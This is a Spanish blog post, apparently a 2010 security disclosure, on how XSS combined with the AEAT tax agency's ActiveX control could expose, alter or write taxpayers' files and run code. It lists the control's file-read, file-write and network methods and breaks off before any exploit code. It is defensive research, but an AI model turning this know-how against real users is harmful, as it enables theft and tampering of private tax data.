		<pubDate>Tue, 03 Aug 2010 17:59:48 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[48Bits exploits]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1472</guid>
		<description><![CDATA[Estamos acostumbrados a los típicos efectos que puede tener un XSS, sin embargo hay veces que se puede ir más allá de un robo de credenciales etc&#8230;Podemos llegar incluso a la ejecución de código. El modo en que funciona la arquitectura de los ActiveX y sus métodos de securización, muy ligados al dominio dentro del [...]]]></description>
			<content:encoded><![CDATA[<p>Estamos acostumbrados a los típicos efectos que puede tener un XSS, sin embargo hay veces que se puede ir más allá de un robo de credenciales etc&#8230;Podemos llegar incluso a la ejecución de código.</p>
<p>El modo en que funciona la arquitectura de los ActiveX y sus métodos de securización, muy ligados al dominio dentro del cual se está instanciando, hacen del XSS un vector de ataque muy potente. Esto lo demostré en la pasada RootedCon, donde un fallo de diseño permitía controlar por completo una máquina usando un ataque XSS en conjunto con métodos potencialmente inseguros en un ActiveX. Es conveniente recordar las <a href="https://docs.google.com/viewer?url=http://www.wintercore.com/downloads/rootedcon_0day_english.pdf">slides</a>para entender mejor este post.</p>
<p>Hoy, vamos a hablar de un fallo del mismo tipo en la arquitectura de la Agencia Tributaria española.</p>
<p>El escenario del ataque sería aquel donde la víctima pincha, por el medio que sea, un enlace especialmente creado. Una explotación exitosa acarrearía la posibilidad de que el atacante obtuviera acceso a los datos fiscales, facturas u otros ficheros de la víctima, pudiera modificarlos e incluso ejecutar código.</p>
<blockquote><p>Disclaimer.<br />
Quiero dejar claro, para que nadie piense nada raro, que a mí sólo me interesa lo que se ejecuta en mi ordenador. No he tocado ningún servidor de la AEAT, ni ganas tengo. Recordar así mismo que un XSS se ejecuta en el lado cliente. Si por obligación se me conmina a instalar un ActiveX quiero saber por qué, qué hace y si esto supone un riesgo para la seguridad de mis equipos.No me hago responsable de ninguna manera del mal uso que pueda darse a esta información. Hasta donde considero mi obligación como researcher, he cumplido.</p></blockquote>
<p>Dicho esto, al lío&#8230;<br />
<span id="more-1472"></span><br />
<a href="http://blog.48bits.com/wp-content/uploads/2010/08/weapon.png"><img src="http://blog.48bits.com/wp-content/uploads/2010/08/weapon-300x225.png" alt="" title="weapon" width="600" height="450" class="aligncenter size-medium wp-image-1473" /></a></p>
<p>Si entrar en más detalles ya que es algo totalmente <a href="http://msdn.microsoft.com/en-us/library/dd433050(VS.85).aspx">documentado</a>, como contábamos antes, a la hora de instanciar los ActiveX Microsoft ofrece algunas medidas que permiten controlar quién puede &#8220;jugar&#8221; con ellos y quien no. Si se informará al usuario antes de ejecutarlos, desde qué dominios pueden ejecutarse etc. IObjectSafety,  via claves en el registro (AllowedDomains), sin contar con los métodos propietarios que use cada ActiveX para asegurar que quien está accediendo a sus métodos procede de un lugar realmente legítimo</p>
<p>En el caso de la Agencia Tributaria, los que hayais usado el PADRE para descargar los datos fiscales os acordareís que os mandaron instalar un ActiveX para este propósito. Este mismo activeX es instalado a la hora de realizar las declaraciones telemáticas de IVA que <strong>todas</strong> las sociedad tienen que presentar <strong>obligatoriamente</strong>, a través de internet.</p>
<p>Veamos qué metodos expone:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; interface IAeatCtl : IDispatch <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000001<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method BAS64&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT BAS64<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR input, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* result<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000002<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DECODEBASE64&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DECODEBASE64<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR input, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* result<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000003<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method LEEDI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT LEEDI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR bloqueo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000004<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method HASH&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT HASH<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR algoritmo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000005<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method LEEFI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT LEEFI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR modo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR crlf, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR extension, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000006<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GRABATXT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GRABATXT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR ruta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR modo<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000007<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FIRMAR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FIRMAR<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR ca, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR datos_mostrados, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR cadenaCompleta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR nif, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000008<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method EXISTE&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT EXISTE<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000009<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FILEDIALOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FILEDIALOG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR extension, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000a<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DIALOGO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DIALOGO<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR estado, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR boton<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000b<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GETSUBJECT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GETSUBJECT<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* subject<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000c<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method LEEBI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT LEEBI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR codificacion, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR extension, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000d<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property HASHBI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT HASHBI<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000e<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property TAMBINARIO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT TAMBINARIO<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">long</span>* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000012<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CONECTAR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CONECTAR<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR appData, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR modo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">long</span> tiempoMaximo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000013<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GRABABI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GRABABI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR ruta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR codificacion, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000014<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property NOLOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT NOLOG<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000014<span class="br0">&#41;</span>, propput, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property NOLOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT NOLOG<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000015<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DIRDIALOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DIRDIALOG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* directorio<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000016<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ELEGIR_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ELEGIR_CERT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR ca, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* certificado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000017<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method EXISTEDIR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT EXISTEDIR<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000018<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;Abre un cuadro de dialogo en el que se muestra un Avi.&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ABRIRAVI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> rango<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001a<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property DIALOGO_CANCELADO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DIALOGO_CANCELADO<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">short</span>* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001b<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ACTUALIZAAVI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ACTUALIZAAVI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> inc, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> <span class="kw4">int</span> rango<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001c<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CERRARAVI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CERRARAVI<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001e<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method PRINT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
